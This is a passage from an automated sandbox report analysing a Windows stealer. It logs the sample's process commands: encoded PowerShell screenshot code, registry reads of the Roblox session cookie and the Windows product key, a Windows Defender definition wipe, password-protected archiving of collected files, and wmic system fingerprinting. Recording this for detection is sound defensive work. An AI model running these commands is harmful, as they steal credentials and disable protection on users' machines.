QBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:36:18
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8884, Parent PID: 8868

General

Target ID:	47
Start time:	19:36:18
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	19:36:18
Start date:	22/05/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6ec980000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline"
Imagebase:	0x7ff7584b0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8964, Parent PID: 8944

General

Target ID:	51
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6ec980000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3733.tmp" "c:\Users\user\AppData\Local\Temp\c3m2uwl3\CSC33F8CF1FA9DB4434A25723BA384E2070.TMP"
Imagebase:	0x7ff6e0520000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 9060, Parent PID: 9044

General

Target ID:	55
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	19:36:19
Start date:	22/05/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6ec980000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	19:36:20
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 9144, Parent PID: 9124

General

Target ID:	58
Start time:	19:36:21
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	19:36:24
Start date:	22/05/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6ec980000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	19:36:24
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	19:36:24
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	19:36:24
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	19:36:26
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	19:36:26
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	19:36:27
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	19:36:32
Start date:	22/05/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff60cae0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	19:36:37
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	19:36:37
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	19:36:37
Start date:	22/05/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *
Imagebase:	0x7ff71d2b0000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	19:36:39
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	19:36:39
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	19:36:39
Start date:	22/05/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff748a90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	19:36:42
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	19:36:42
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	19:36:42
Start date:	22/05/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff748a90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	19:36:43
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	19:36:43
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	19:36:43
Start date:	22/05/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff748a90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	19:36:44
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	19:36:44
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	19:36:44
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	19:36:45
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	19:36:45
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	19:36:45
Start date:	22/05/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff748a90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	19:36:46
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	19:36:46
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	19:36:46
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	43

Executed Functions

Function 00007FF7B1116950 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7B1116995

Part of subcall function 00007FF7B11162E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11162FC

Part of subcall function 00007FF7B110B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B502
Part of subcall function 00007FF7B110B4EC: GetLastError.KERNEL32(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B50C

Part of subcall function 00007FF7B110B4A4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7B110B483,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110B4AD
Part of subcall function 00007FF7B110B4A4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7B110B483,?,?,?,?,?,00007FF7B11036AC), ref: 00007FF7B110B4D2

_get_daylight.LIBCMT ref: 00007FF7B1116984

Part of subcall function 00007FF7B1116348: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B111635C

_get_daylight.LIBCMT ref: 00007FF7B1116BFA
_get_daylight.LIBCMT ref: 00007FF7B1116C0B
_get_daylight.LIBCMT ref: 00007FF7B1116C1C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7B1116E5C), ref: 00007FF7B1116C43

Strings

Eastern Summer Time, xrefs: 00007FF7B1116D01
Eastern Standard Time, xrefs: 00007FF7B1116CE9

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1458651798-239921721
Opcode ID: 6ec15ad00ebc81b5713ed5170bbebc68efdd6324f1cef62f169a4dbf8db42b45
Instruction ID: be850a169b4cf009b79b9eed8e0d770ae8aab0cf33f143d68deb0cf23adee037
Opcode Fuzzy Hash: 6ec15ad00ebc81b5713ed5170bbebc68efdd6324f1cef62f169a4dbf8db42b45
Instruction Fuzzy Hash: 82D1B326A0825A86E720BF29F8401B9E751EF66788FC28135DB4D4368DDFFDE461C360

Function 00007FF7B111789C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B11175D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1117611
Part of subcall function 00007FF7B11175D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B111768F
Part of subcall function 00007FF7B11175D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11176E0

CreateFileW.KERNELBASE ref: 00007FF7B11179A2
CreateFileW.KERNEL32 ref: 00007FF7B11179F2
GetLastError.KERNEL32 ref: 00007FF7B1117A22
GetFileType.KERNELBASE ref: 00007FF7B1117A37
GetLastError.KERNEL32 ref: 00007FF7B1117A41
CloseHandle.KERNEL32 ref: 00007FF7B1117A74
CloseHandle.KERNEL32 ref: 00007FF7B1117BD7
CreateFileW.KERNEL32 ref: 00007FF7B1117C0C
GetLastError.KERNEL32 ref: 00007FF7B1117C1B

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: ed7bb29f19db96d6df9cef71716606d4f492670f90b16f42eaf9bff86babf69b
Instruction ID: 97513c9bdb08f839a52f68d8f9157e6e44d947a924116ff848c4efd0edd3ec4a
Opcode Fuzzy Hash: ed7bb29f19db96d6df9cef71716606d4f492670f90b16f42eaf9bff86babf69b
Instruction Fuzzy Hash: 6BC1F733B14A4A85EB10EF68E4802ACB761FB5ABACB550235DF1E57398DF78D165C320

Function 00007FF7B10F7950 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF7B10F153F), ref: 00007FF7B10F79E7

Part of subcall function 00007FF7B10F7B60: GetEnvironmentVariableW.KERNEL32(00007FF7B10F39FF), ref: 00007FF7B10F7B9A
Part of subcall function 00007FF7B10F7B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7B10F7BB7

Part of subcall function 00007FF7B11083CC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11083E5

SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B10F7AA1

Part of subcall function 00007FF7B10F2B10: MessageBoxW.USER32 ref: 00007FF7B10F2BE5

Strings

LOADER: Failed to set the TMP environment variable., xrefs: 00007FF7B10F79CA
TMP, xrefs: 00007FF7B10F798A, 00007FF7B10F7A49, 00007FF7B10F7AD7
_MEI%d, xrefs: 00007FF7B10F79F5
TMP, xrefs: 00007FF7B10F79B0

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

